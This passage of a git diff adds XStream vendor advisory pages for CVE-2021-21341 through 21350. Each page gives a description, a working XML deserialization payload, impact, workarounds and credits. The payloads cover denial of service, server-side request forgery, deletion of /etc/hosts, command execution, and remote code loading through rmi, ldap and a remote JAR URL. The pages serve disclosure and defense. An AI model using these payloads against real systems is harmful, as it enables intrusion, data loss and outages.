+        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+          <is class='java.io.ByteArrayInputStream'>
+            <buf></buf>
+            <pos>-2147483648</pos>
+            <mark>0</mark>
+            <count>0</count>
+          </is>
+          <consumed>false</consumed>
+        </dataSource>
+        <transferFlavors/>
+      </dataHandler>
+      <dataLen>0</dataLen>
+    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the an endless loop is entered and the executing thread consumes maximum + CPU time and will never return.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU + type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

The vulnerability was discovered and reported by threedr3am.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21342.html b/xstream-distribution/src/content/CVE-2021-21342.html new file mode 100644 index 000000000..b4e9205b7 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21342.html @@ -0,0 +1,83 @@ + + + + CVE-2021-21342 + + + +

Vulnerability

+ +

CVE-2021-21342: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
+        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
+          <packet>
+            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
+              <dataSource class='javax.activation.URLDataSource'>
+                <url>http://localhost:8080/internal/</url>
+              </dataSource>
+            </message>
+          </packet>
+        </indexMap>
+      </comparator>
+    </default>
+    <int>3</int>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21343.html b/xstream-distribution/src/content/CVE-2021-21343.html new file mode 100644 index 000000000..b5a02fbb6 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21343.html @@ -0,0 +1,127 @@ + + + + CVE-2021-21343 + + + +

Vulnerability

+ +

CVE-2021-21343: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long + as the executing process has sufficient rights.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in the deletion of a file on the local host.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
+        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
+          <packet>
+            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
+              <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
+                <part>
+                  <dataHead>
+                    <tail/>
+                    <head>
+                      <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
+                        <len>3</len>
+                        <data>AQID</data>
+                      </data>
+                    </head>
+                  </dataHead>
+                  <contentTransferEncoding>base64</contentTransferEncoding>
+                  <msg>
+                    <it class='java.util.ArrayList$Itr'>
+                      <cursor>0</cursor>
+                      <lastRet>1</lastRet>
+                      <expectedModCount>4</expectedModCount>
+                        <outer-class>
+                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
+                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
+                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
+                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
+                        </outer-class>
+                    </it>
+                    <in class='java.io.FileInputStream'>
+                      <fd/>
+                      <channel class='sun.nio.ch.FileChannelImpl'>
+                        <closeLock/>
+                        <open>true</open>
+                        <threads>
+                          <used>-1</used>
+                        </threads>
+                        <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
+                          <sockClient>
+                            <fileName>/etc/hosts</fileName>
+                            <unlinkFile>true</unlinkFile>
+                          </sockClient>
+                          <connectionSync/>
+                        </parent>
+                      </channel>
+                      <closeLock/>
+                    </in>
+                  </msg>
+                </part>
+              </dataSource>
+            </message>
+            <satellites/>
+            <invocationProperties/>
+          </packet>
+        </indexMap>
+      </comparator>
+    </default>
+    <int>3</int>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing + process has sufficient rights only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21344.html b/xstream-distribution/src/content/CVE-2021-21344.html new file mode 100644 index 000000000..c5614c3dc --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21344.html @@ -0,0 +1,163 @@ + + + + CVE-2021-21344 + + + +

Vulnerability

+ +

CVE-2021-21344: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
+        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
+          <packet>
+            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
+              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
+                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
+                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
+                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
+                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
+                      <uriProperties/>
+                      <attributeProperties/>
+                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
+                        <getter>
+                          <class>com.sun.rowset.JdbcRowSetImpl</class>
+                          <name>getDatabaseMetaData</name>
+                          <parameter-types/>
+                        </getter>
+                      </inheritedAttWildcard>
+                    </bi>
+                    <tagName/>
+                    <context>
+                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
+                        <outer-class reference='../..'/>
+                      </marshallerPool>
+                      <nameList>
+                        <nsUriCannotBeDefaulted>
+                          <boolean>true</boolean>
+                        </nsUriCannotBeDefaulted>
+                        <namespaceURIs>
+                          <string>1</string>
+                        </namespaceURIs>
+                        <localNames>
+                          <string>UTF-8</string>
+                        </localNames>
+                      </nameList>
+                    </context>
+                  </bridge>
+                </bridge>
+                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
+                  <javax.sql.rowset.BaseRowSet>
+                    <default>
+                      <concurrency>1008</concurrency>
+                      <escapeProcessing>true</escapeProcessing>
+                      <fetchDir>1000</fetchDir>
+                      <fetchSize>0</fetchSize>
+                      <isolation>2</isolation>
+                      <maxFieldSize>0</maxFieldSize>
+                      <maxRows>0</maxRows>
+                      <queryTimeout>0</queryTimeout>
+                      <readOnly>true</readOnly>
+                      <rowSetType>1004</rowSetType>
+                      <showDeleted>false</showDeleted>
+                      <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
+                      <params/>
+                    </default>
+                  </javax.sql.rowset.BaseRowSet>
+                  <com.sun.rowset.JdbcRowSetImpl>
+                    <default>
+                      <iMatchColumns>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                        <int>-1</int>
+                      </iMatchColumns>
+                      <strMatchColumns>
+                        <string>foo</string>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                        <null/>
+                      </strMatchColumns>
+                    </default>
+                  </com.sun.rowset.JdbcRowSetImpl>
+                </jaxbObject>
+              </dataSource>
+            </message>
+            <satellites/>
+            <invocationProperties/>
+          </packet>
+        </indexMap>
+      </comparator>
+    </default>
+    <int>3</int>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21345.html b/xstream-distribution/src/content/CVE-2021-21345.html new file mode 100644 index 000000000..4f027690e --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21345.html @@ -0,0 +1,119 @@ + + + + CVE-2021-21345 + + + +

Vulnerability

+ +

CVE-2021-21345: XStream is vulnerable to a Remote Command Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of a local command on the server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
+        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
+          <packet>
+            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
+              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
+                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
+                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
+                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
+                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
+                      <uriProperties/>
+                      <attributeProperties/>
+                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
+                        <getter>
+                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
+                          <name>verify</name>
+                          <parameter-types/>
+                        </getter>
+                      </inheritedAttWildcard>
+                    </bi>
+                    <tagName/>
+                    <context>
+                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
+                        <outer-class reference='../..'/>
+                      </marshallerPool>
+                      <nameList>
+                        <nsUriCannotBeDefaulted>
+                          <boolean>true</boolean>
+                        </nsUriCannotBeDefaulted>
+                        <namespaceURIs>
+                          <string>1</string>
+                        </namespaceURIs>
+                        <localNames>
+                          <string>UTF-8</string>
+                        </localNames>
+                      </nameList>
+                    </context>
+                  </bridge>
+                </bridge>
+                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
+                  <activationCmd>calc</activationCmd>
+                </jaxbObject>
+              </dataSource>
+            </message>
+            <satellites/>
+            <invocationProperties/>
+          </packet>
+        </indexMap>
+      </comparator>
+    </default>
+    <int>3</int>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+    <string>javax.xml.ws.binding.attachments.inbound</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21346.html b/xstream-distribution/src/content/CVE-2021-21346.html new file mode 100644 index 000000000..c57cb13c0 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21346.html @@ -0,0 +1,119 @@ + + + + CVE-2021-21346 + + + +

Vulnerability

+ +

CVE-2021-21346: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
+      <unserializable-parents/>
+      <hashtable>
+        <default>
+          <loadFactor>0.75</loadFactor>
+          <threshold>525</threshold>
+        </default>
+        <int>700</int>
+        <int>0</int>
+      </hashtable>
+      <javax.swing.UIDefaults>
+        <default>
+          <defaultLocale>zh_CN</defaultLocale>
+          <resourceCache/>
+        </default>
+      </javax.swing.UIDefaults>
+      <javax.swing.MultiUIDefaults>
+        <default>
+          <tables>
+            <javax.swing.UIDefaults serialization='custom'>
+              <unserializable-parents/>
+              <hashtable>
+                <default>
+                  <loadFactor>0.75</loadFactor>
+                  <threshold>525</threshold>
+                </default>
+                <int>700</int>
+                <int>1</int>
+                <sun.swing.SwingLazyValue>
+                  <className>javax.naming.InitialContext</className>
+                  <methodName>doLookup</methodName>
+                  <args>
+                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
+                  </args>
+                </sun.swing.SwingLazyValue>
+              </hashtable>
+              <javax.swing.UIDefaults>
+                <default>
+                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
+                  <resourceCache/>
+                </default>
+              </javax.swing.UIDefaults>
+            </javax.swing.UIDefaults>
+          </tables>
+        </default>
+      </javax.swing.MultiUIDefaults>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled or when + another element is added to the set.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

wh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21347.html b/xstream-distribution/src/content/CVE-2021-21347.html new file mode 100644 index 000000000..693e35c68 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21347.html @@ -0,0 +1,138 @@ + + + + CVE-2021-21347 + + + +

Vulnerability

+ +

CVE-2021-21347: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='javafx.collections.ObservableList$1'/>
+    </default>
+    <int>3</int>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+      <dataHandler>
+        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+          <contentType>text/plain</contentType>
+          <is class='java.io.SequenceInputStream'>
+            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
+              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
+                <names class='java.util.AbstractList$Itr'>
+                  <cursor>0</cursor>
+                  <lastRet>-1</lastRet>
+                  <expectedModCount>0</expectedModCount>
+                  <outer-class class='java.util.Arrays$ArrayList'>
+                    <a class='string-array'>
+                      <string>Evil</string>
+                    </a>
+                  </outer-class>
+                </names>
+                <processorCL class='java.net.URLClassLoader'>
+                  <ucp class='sun.misc.URLClassPath'>
+                    <urls serialization='custom'>
+                      <unserializable-parents/>
+                      <vector>
+                        <default>
+                          <capacityIncrement>0</capacityIncrement>
+                          <elementCount>1</elementCount>
+                          <elementData>
+                            <url>http://127.0.0.1:80/Evil.jar</url>
+                          </elementData>
+                        </default>
+                      </vector>
+                    </urls>
+                    <path>
+                      <url>http://127.0.0.1:80/Evil.jar</url>
+                    </path>
+                    <loaders/>
+                    <lmap/>
+                  </ucp>
+                  <package2certs class='concurrent-hash-map'/>
+                  <classes/>
+                  <defaultDomain>
+                    <classloader class='java.net.URLClassLoader' reference='../..'/>
+                    <principals/>
+                    <hasAllPerm>false</hasAllPerm>
+                    <staticPermissions>false</staticPermissions>
+                    <key>
+                      <outer-class reference='../..'/>
+                    </key>
+                  </defaultDomain>
+                  <initialized>true</initialized>
+                  <pdcache/>
+                </processorCL>
+              </iterator>
+              <type>KEYS</type>
+            </e>
+            <in class='java.io.ByteArrayInputStream'>
+              <buf></buf>
+              <pos>-2147483648</pos>
+              <mark>0</mark>
+              <count>0</count>
+            </in>
+          </is>
+          <consumed>false</consumed>
+        </dataSource>
+        <transferFlavors/>
+      </dataHandler>
+      <dataLen>0</dataLen>
+    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

The vulnerability was discovered and reported by threedr3am.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21348.html b/xstream-distribution/src/content/CVE-2021-21348.html new file mode 100644 index 000000000..c961b0d67 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21348.html @@ -0,0 +1,138 @@ + + + + CVE-2021-21348 + + + +

Vulnerability

+ +

CVE-2021-21348: XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos).

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in executed evaluation of a malicious regular expression + causing a denial of service.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='javafx.collections.ObservableList$1'/>
+    </default>
+    <int>3</int>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+      <dataHandler>
+        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+          <contentType>text/plain</contentType>
+          <is class='java.io.SequenceInputStream'>
+            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
+              <iterator class='java.util.Scanner'>
+                <buf class='java.nio.HeapCharBuffer'>
+                  <mark>-1</mark>
+                  <position>0</position>
+                  <limit>0</limit>
+                  <capacity>1024</capacity>
+                  <address>0</address>
+                  <hb></hb>
+                  <offset>0</offset>
+                  <isReadOnly>false</isReadOnly>
+                </buf>
+                <position>0</position>
+                <matcher>
+                  <parentPattern>
+                    <pattern>\p{javaWhitespace}+</pattern>
+                    <flags>0</flags>
+                  </parentPattern>
+                  <from>0</from>
+                  <to>0</to>
+                  <lookbehindTo>0</lookbehindTo>
+                  <text class='java.nio.HeapCharBuffer' reference='../../buf'/>
+                  <acceptMode>0</acceptMode>
+                  <first>-1</first>
+                  <last>0</last>
+                  <oldLast>-1</oldLast>
+                  <lastAppendPosition>0</lastAppendPosition>
+                  <locals/>
+                  <hitEnd>false</hitEnd>
+                  <requireEnd>false</requireEnd>
+                  <transparentBounds>true</transparentBounds>
+                  <anchoringBounds>false</anchoringBounds>
+                </matcher>
+                <delimPattern>
+                  <pattern>(x+)*y</pattern>
+                  <flags>0</flags>
+                </delimPattern>
+                <hasNextPosition>0</hasNextPosition>
+                <source class='java.io.StringReader'>
+                  <lock class='java.io.StringReader' reference='..'/>
+                  <str>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</str>
+                  <length>32</length>
+                  <next>0</next>
+                  <mark>0</mark>
+                </source>
+              </iterator>
+              <type>KEYS</type>
+            </e>
+            <in class='java.io.ByteArrayInputStream'>
+              <buf></buf>
+              <pos>0</pos>
+              <mark>0</mark>
+              <count>0</count>
+            </in>
+          </is>
+          <consumed>false</consumed>
+        </dataSource>
+        <transferFlavors/>
+      </dataHandler>
+      <dataLen>0</dataLen>
+    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the malicious regular expression is evaluated and causes a denial of service.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never + return.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

The vulnerability was discovered and reported by threedr3am.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21349.html b/xstream-distribution/src/content/CVE-2021-21349.html new file mode 100644 index 000000000..2bb581773 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21349.html @@ -0,0 +1,106 @@ + + + + CVE-2021-21349 + + + +

Vulnerability

+ +

CVE-2021-21349: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='javafx.collections.ObservableList$1'/>
+    </default>
+    <int>3</int>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+      <dataHandler>
+        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+          <contentType>text/plain</contentType>
+          <is class='java.io.SequenceInputStream'>
+            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
+              <iterator class='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'>
+                <configs class='sun.misc.FIFOQueueEnumerator'>
+                  <queue>
+                    <length>1</length>
+                    <head>
+                      <obj class='url'>http://localhost:8080/internal/</obj>
+                    </head>
+                    <tail reference='../head'/>
+                  </queue>
+                  <cursor reference='../queue/head'/>
+                </configs>
+                <returned class='sorted-set'/>
+              </iterator>
+              <type>KEYS</type>
+            </e>
+            <in class='java.io.ByteArrayInputStream'>
+              <buf></buf>
+              <pos>0</pos>
+              <mark>0</mark>
+              <count>0</count>
+            </in>
+          </is>
+          <consumed>false</consumed>
+        </dataSource>
+        <transferFlavors/>
+      </dataHandler>
+      <dataLen>0</dataLen>
+    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

The vulnerability was discovered and reported by threedr3am.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21350.html b/xstream-distribution/src/content/CVE-2021-21350.html new file mode 100644 index 000000000..94cbc8bc0 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21350.html @@ -0,0 +1,164 @@ + + + + CVE-2021-21350 + + + +

Vulnerability

+ +

